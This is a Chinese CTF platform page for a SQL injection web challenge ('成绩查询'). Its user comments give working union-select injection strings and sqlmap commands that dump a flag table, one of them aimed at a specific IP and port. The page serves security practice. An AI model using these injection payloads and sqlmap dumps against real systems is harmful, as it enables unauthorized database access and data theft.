成绩查询WEB 未解决

分数: 25 金币: 2
题目作者: 未知
一  血: npfs
一血奖励: 1金币
解  决: 11823
提  示:
描  述:
来源山科大ctf
评论
5883120xly 5月前

SQL注入的题,好久没做了,我手痒就用手工做了id=-3' union

回复 0

一个姓⎝李⎠的师傅~ 7月前

完整解题思路,以及 sqlmap 命令知识的补充:https://www.yuque.com/u21437924/ap9vtm/gqkc3dcfmfpe5p85?singleDoc#rgMpa

回复 5
西红柿dun牛腩 3月前

你还真是个天才

回复 0

ubudj 8月前

flag{******}

回复 0

Bruce20231767 8月前

sql注入

回复 0

2686213396 9月前

通过这道题目学习一下sqlmap吧,最后payload为python sqlmap.py -r "D:\ \1.txt" -D skctf -T fl4g -C "skctf_flag" --dump

回复 0

QQ123 9月前

jia

回复 0

SLfanCTF 9月前

flag{*******}

回复 0

zhuizhui 9月前

1' and 1=2 union select group_concat(skctf_flag),2,3,4 from fl4g;#--

回复 3

zhuizhui 9月前

sqlmap -u "http://117.72.52.127:15841/index.php" --data="id=1" --batch -D skctf -T fl4g --dump

回复 0

玄冬伍A 11月前

1' and 1=2 union select 1,2,3,skctf_flag from fl4g#

回复 3

WriteUp

image
harry

2 金币

评分(24)

解题动态

L! 攻破了该题 5小时前
box 攻破了该题 8小时前
911 攻破了该题 18小时前
LHM 攻破了该题 19小时前
yue 攻破了该题 19小时前
HZ 攻破了该题 19小时前
wyc 攻破了该题 19小时前
小蓝01 攻破了该题 19小时前
wh 攻破了该题 19小时前
diffni 攻破了该题 19小时前
dianci 攻破了该题 19小时前
cww 攻破了该题 19小时前
qyy 攻破了该题 19小时前
ghj 攻破了该题 19小时前
_T_ 攻破了该题 19小时前
lkgjlkglkw 攻破了该题 19小时前
popppyy 攻破了该题 20小时前
hyxi 攻破了该题 20小时前
Pisces_11z 攻破了该题 20小时前
jay cat 攻破了该题 20小时前
问题反馈